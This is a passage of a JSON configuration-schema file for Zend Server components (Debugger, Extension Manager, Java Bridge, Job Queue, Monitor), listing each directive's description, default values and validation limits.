                "defaultValues": [
                    {
                        "fixed": "2097152"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": 1,
                    "maxValue": 2147483647,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_debugger.httpd_uid": {
                "shortDescription": "The user ID of the httpd process that runs the Zend Debugger (only for tunneling) ",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "-1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": -1,
                    "maxValue": 2147483647,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_debugger.tunnel_min_port": {
                "shortDescription": "A range of ports that the communication tunnel can use. This defines the minimum value for the range",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "1024"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": 1024,
                    "maxValue": 65535,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_debugger.tunnel_max_port": {
                "shortDescription": "A range of ports that the communication tunnel can use. This defines the maximum value for the range",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "65535"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": 1024,
                    "maxValue": 65535,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_debugger.expose_remotely": {
                "shortDescription": "Define whether to expose the presence of the Zend Debugger to remote clients",
                "type": 3,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "2"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": "a:3:{i:0;s:11:\"Always Hide\";i:1;s:28:\"Expose only to Allowed Hosts\";i:2;s:13:\"Always Expose\";}",
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_debugger.passive_mode_timeout": {
                "shortDescription": "The Debugger's timeout period (in seconds) to wait for a response from the client (Zend Studio)",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "20"
                    }
                ],
                "units": "seconds",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_debugger.debug_extensions": {
                "shortDescription": "Supported PHP file extensions for debugging. If the suffix does not appear here, the file is ignored",
                "type": 1,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "php,phtml,php3"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_debugger.xdebug_compatible_coverage": {
                "shortDescription": "Directive in order to mock up xdebug coverage",
                "type": 2,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_debugger.use_fast_timestamp": {
                "shortDescription": "Enables fast time sampling which is dependent on CPU cycles and frequency, otherwise, the directive uses operating system timing (which may be less accurate)",
                "type": 2,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_debugger.enable_coverage": {
                "shortDescription": "Enable code-coverage feature, should only be true on local debugger",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_debugger.during_zray_startup": {
                "shortDescription": "Is zray during startup?",
                "type": 2,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "Zend Extension Manager": {
        "name": "Zend Extension Manager",
        "extensionId": "extension_manager",
        "isDaemon": 0,
        "shortDescription": "Manages all Zend components",
        "longDescription": "Because every Zend extension is compiled for each PHP version, the ZEM selects the proper extension version, depending on the PHP runtime. In addition, the ZEM exposes the C language API that reflects all the information for the managed extensions and is responsible for managing the licences of these extensions.",
        "iniFileName": "zend_extension_manager.ini",
        "subPath": ".",
        "zemExtension": true,
        "directives": {
            "zend_extension_manager.log_verbosity_level": {
                "shortDescription": "\n\t\t\t\t\tLog message verbosity level.\n\t\t\t\t",
                "type": 3,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": "a:6:{i:0;s:1:\"0\";i:1;s:1:\"1\";i:2;s:1:\"2\";i:3;s:1:\"3\";i:4;s:1:\"4\";i:5;s:1:\"5\";}",
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_extension_manager.log_rotation_size": {
                "shortDescription": "The maximum size of the log file before it is rotated",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "10"
                    }
                ],
                "units": "MBytes",
                "validation": {
                    "minValue": 0,
                    "maxValue": 1000,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_extension_manager.load_order_file": {
                "shortDescription": "\n\t\t\t\t\tThe path to the location of the load file. The load file contains the information about the extensions' loading order\n\t\t\t\t",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "zem_order"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_extension_manager.activate_signal_handlers": {
                "shortDescription": "\n\t\t\t\t\tUNIX only: Activates SIGSEGV and SIGABRT signal handlers.\n\t\t\t\t",
                "type": 2,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "false",
                        "restrictions": [
                            {
                                "os": "aix-ppc",
                                "product": ""
                            }
                        ]
                    },
                    {
                        "fixed": "true",
                        "restrictions": [
                            {
                                "os": "WindowsAll",
                                "product": ""
                            },
                            {
                                "os": "linux-i386",
                                "product": ""
                            },
                            {
                                "os": "linux-x86_64",
                                "product": ""
                            },
                            {
                                "os": "linux-amd64",
                                "product": ""
                            },
                            {
                                "os": "linux-armhf",
                                "product": ""
                            },
                            {
                                "os": "linux-ppc64",
                                "product": ""
                            },
                            {
                                "os": "linux-ppc64le",
                                "product": ""
                            },
                            {
                                "os": "darwin",
                                "product": ""
                            }
                        ]
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_extension_manager.recheck_license_interval": {
                "shortDescription": "\n\t\t\t\t\tInterval to check for license updates (in seconds). Set it to 0 to disable license checking.\n\t\t\t\t",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "5"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_extension_manager.wait_for_debugger": {
                "shortDescription": "\n\t\t\t\t\tUNIX only: Automatically pauses the process received by SIGSEGV and SIGABRT.\n\t\t\t\t",
                "type": 2,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "false"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "Zend Java Bridge": {
        "name": "Zend Java Bridge",
        "extensionId": "jbridge",
        "isDaemon": 0,
        "shortDescription": "Enables integration of Java code in PHP applications",
        "longDescription": "The Zend Java Bridge provides PHP developers with a way to use existing Java code and build PHP applications that use Java code. The Java Bridge integrates Java code in PHP by connecting the PHP object system with the Java Bridge object system.",
        "iniFileName": "jbridge.ini",
        "subPath": "jbridge",
        "zemExtension": true,
        "directives": {
            "zend_jbridge.server_port": {
                "shortDescription": "The TCP port on which the server is listening",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "10001"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": 0,
                    "maxValue": 65535,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_jbridge.ints_are_longs": {
                "shortDescription": "Converts PHP integers into java.lang.Long integers, primarily for 64-bit machines",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_jbridge.encoding": {
                "shortDescription": "Sets the encoding type that is passed from PHP to Java",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "UTF-8"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_jbridge.use_java_objects": {
                "shortDescription": "Uses basic Java objects and does not attempt to convert them to primitives",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_jbridge.server_ip": {
                "shortDescription": "The TCP ip on which the server is listening",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "Zend Job Queue": {
        "name": "Zend Job Queue",
        "extensionId": "jobqueue",
        "isDaemon": 0,
        "shortDescription": "Provides offline asynchronous processing of tasks and activities",
        "longDescription": "Zend Server's Job Queue is a monitored, manageable job queuing system, which can be easily integrated with PHP applications. It provides the ability to take certain tasks preformed by your PHP applications off-line, and queue them to execute asynchronously, or even at a later time or in a recurring manner.",
        "iniFileName": "jobqueue.ini",
        "subPath": "jobqueue",
        "zemExtension": true,
        "directives": {
            "zend_jobqueue.enable": {
                "shortDescription": "Enables the Job Queue.",
                "type": 2,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_jobqueue.daemon_connection_timeout": {
                "shortDescription": "The default connection timeout to the Job Queue Daemon.",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "30"
                    }
                ],
                "units": "seconds",
                "validation": {
                    "minValue": 0,
                    "maxValue": 999999,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_jobqueue.default_binding": {
                "shortDescription": "Default binding to the Job Queue Daemon.",
                "type": 1,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "tcp:\/\/127.0.0.1:10085",
                        "restrictions": [
                            {
                                "os": "WindowsAll",
                                "product": ""
                            }
                        ]
                    },
                    {
                        "fixed": "unix:\/\/jobqueue.sock"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_jobqueue.log_verbosity_level": {
                "shortDescription": "The log verbosity level [0-5].",
                "type": 3,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "2"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": "a:6:{i:0;s:1:\"0\";i:1;s:1:\"1\";i:2;s:1:\"2\";i:3;s:1:\"3\";i:4;s:1:\"4\";i:5;s:1:\"5\";}",
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_jobqueue.log_rotation_size": {
                "shortDescription": "The maximum size of the log file before it is rotated.",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "10"
                    }
                ],
                "units": "MBytes",
                "validation": {
                    "minValue": 0,
                    "maxValue": 1000,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_jobqueue.utf8_encoding": {
                "shortDescription": "Use UTF-8 encoding.",
                "type": 2,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "Zend Monitor": {
        "name": "Zend Monitor",
        "extensionId": "monitor",
        "isDaemon": 0,
        "shortDescription": "Provides an alerting mechanism for a variety of types of PHP script problems",
        "longDescription": "The Zend Monitor is a Zend Server component that integrates into the PHP runtime environment and watches for various events such as errors, failing functions, slow scripts, database errors, etc. When an event occurs, the Zend Monitor collects and reports all the relevant debugging information.",
        "iniFileName": "monitor.ini",
        "subPath": "monitor",
        "zemExtension": true,
        "directives": {
            "zend_monitor.enable": {
                "shortDescription": "Enables or disables the Monitor component.",
                "type": 2,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 0
            },
            "zend_monitor.log_verbosity": {
                "shortDescription": "Monitor extension log verbosity level.",
                "type": 3,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "2"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": "a:6:{i:0;s:1:\"0\";i:1;s:1:\"1\";i:2;s:1:\"2\";i:3;s:1:\"3\";i:4;s:1:\"4\";i:5;s:1:\"5\";}",
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_monitor.zdo_log_verbosity": {
                "shortDescription": "Transport layer log verbosity level.",
                "type": 3,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": "a:6:{i:0;s:1:\"0\";i:1;s:1:\"1\";i:2;s:1:\"2\";i:3;s:1:\"3\";i:4;s:1:\"4\";i:5;s:1:\"5\";}",
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_monitor.log_rotation_size": {
                "shortDescription": "The maximum size of the log file before it is rotated.",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "10"
                    }
                ],
                "units": "MBytes",
                "validation": {
                    "minValue": 0,
                    "maxValue": 1000,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_monitor.shm_size": {
                "shortDescription": "Amount of shared memory to allocate for event collection.",
                "type": 4,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "4194304",
                        "restrictions": [
                            {
                                "os": "WindowsAll",
                                "product": "ZenithPE"
                            },
                            {
                                "os": "linux-i386",
                                "product": "ZenithPE"
                            },
                            {
                                "os": "linux-x86_64",
                                "product": "ZenithPE"
                            },
                            {
                                "os": "linux-amd64",
                                "product": "ZenithPE"
                            },
                            {
                                "os": "linux-armhf",
                                "product": "ZenithPE"
                            },
                            {
                                "os": "linux-ppc64",
                                "product": "ZenithPE"
                            },
                            {
                                "os": "linux-ppc64le",
                                "product": "ZenithPE"
                            }
                        ]
                    },
                    {
                        "fixed": "2097152",
                        "restrictions": [
                            {
                                "os": "darwin",
                                "product": "ZenithPE"
                            },
                            {
                                "os": "aix-ppc",
                                "product": "ZenithPE"
                            }
                        ]
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_monitor.events_transport_parameter": {
                "shortDescription": "Communication transport for event reporting to the Monitor Node.",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "events.sock",
                        "restrictions": [
                            {
                                "os": "UnixAll",
                                "product": "ZenithPE"
                            }
                        ]
                    },
                    {
                        "fixed": "events",
                        "restrictions": [
                            {
                                "os": "WindowsAll",
                                "product": "ZenithPE"
                            }
                        ]
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_monitor.report_super_globals": {
                "shortDescription": "PHP Super-global variables to include in event reports.",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "PRGCVF"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_monitor.max_super_globals_string_len": {
                "shortDescription": "The maximum length of a superglobal to include in an event report.",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "100"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": 10,
                    "maxValue": 255,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_monitor.event.request_slow_exec.disabled_on_function_slow_exec_event": {
                "shortDescription": "Disable reporting of Slow Request Execution events if a Slow Function Execution event was reported.",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_monitor.event.request_slow_exec.disabled_on_high_load.threshold": {
                "shortDescription": "Sets the load level to disable Slow Request Execution events for the same request that\n                already triggered a high load event.",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_monitor.event.request_relative_slow_exec.min_exec_time": {
                "shortDescription": "The minimum request execution time for a relativity check.",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "100"
                    }
                ],
                "units": "milliseconds",
                "validation": {
                    "minValue": 0,
                    "maxValue": 10000,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_monitor.event.request_relative_large_mem_usage.min_mem_usage": {
                "shortDescription": "The minimum request memory usage for a relativity check.",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "100"
                    }
                ],
                "units": "KBytes",
                "validation": {
                    "minValue": 0,
                    "maxValue": 1024,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_monitor.event.request_relative_large_output_size.min_output_size": {
                "shortDescription": "The minimum request output size for a relativity check",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "100"
                    }
                ],
                "units": "KBytes",
                "validation": {
                    "minValue": 0,
                    "maxValue": 10240,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_monitor.event.zend_error.silence_level": {
                "shortDescription": "Controls PHP Error event reporting when PHP error reporting is supressed",
                "type": 3,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": "a:3:{i:0;s:1:\"0\";i:1;s:1:\"1\";i:2;s:1:\"2\";}",
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_monitor.requests_statistics.warmup_requests": {
                "shortDescription": "How many requests to run before deviation events are calculated (to collect\n                data for the average). This is used to calculate averages for relative events.",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "500"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": 0,
                    "maxValue": 1000000,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_monitor.requests_statistics.request_lifetime": {
                "shortDescription": "The time duration (in seconds) before statistics are reset if a request is not called. ",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "300"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": 0,
                    "maxValue": 3000,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_monitor.events_rules_file_name": {
                "shortDescription": "Event rules configuration file.",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "monitor_rules.json"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_monitor.aggregation.ttl": {
                "shortDescription": " The time duration (in seconds) before resetting the aggregation data if the aggregation-key for an event is not triggered.\n                ",
                "type": 4,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "300"
                    }
                ],
                "units": "seconds",
                "validation": {
                    "minValue": 1,
                    "maxValue": 3600,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_monitor.aggregation.max_reporting_interval": {
                "shortDescription": "The maximum time interval between reporting.",
                "type": 4,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "300"
                    }
                ],
                "units": "seconds",
                "validation": {
                    "minValue": 1,
                    "maxValue": 3600,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_monitor.use_fast_timestamp": {
                "shortDescription": "Enables fast time sampling which is dependent on CPU cycles and frequency, otherwise, the directive uses operating system timing (which may be less accurate).",
                "type": 2,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_monitor.aggregate_by_url_query": {
                "shortDescription": "When enabled, use the URL's query string as part of the aggregation key.",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_monitor.aggregate_by_route": {
                "shortDescription": "When enabled, use the request route details as part of the aggregation key.",
                "type": 2,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_monitor.function_error_resolvers": {
                "shortDescription": "A list of functions that can retrieve the error string of the corresponding function that returned error.",
                "type": 1,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_monitor.event_tracing_mode": {
                "shortDescription": "Determines integration with tracer mechanism in case of events that require a trace data dump.",
                "type": 3,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "2"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": "a:4:{i:0;s:5:\"never\";i:1;s:6:\"always\";i:2;s:21:\"rule based - stand by\";i:3;s:19:\"rule based - always\";}",
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_monitor.event_tracing_duration": {
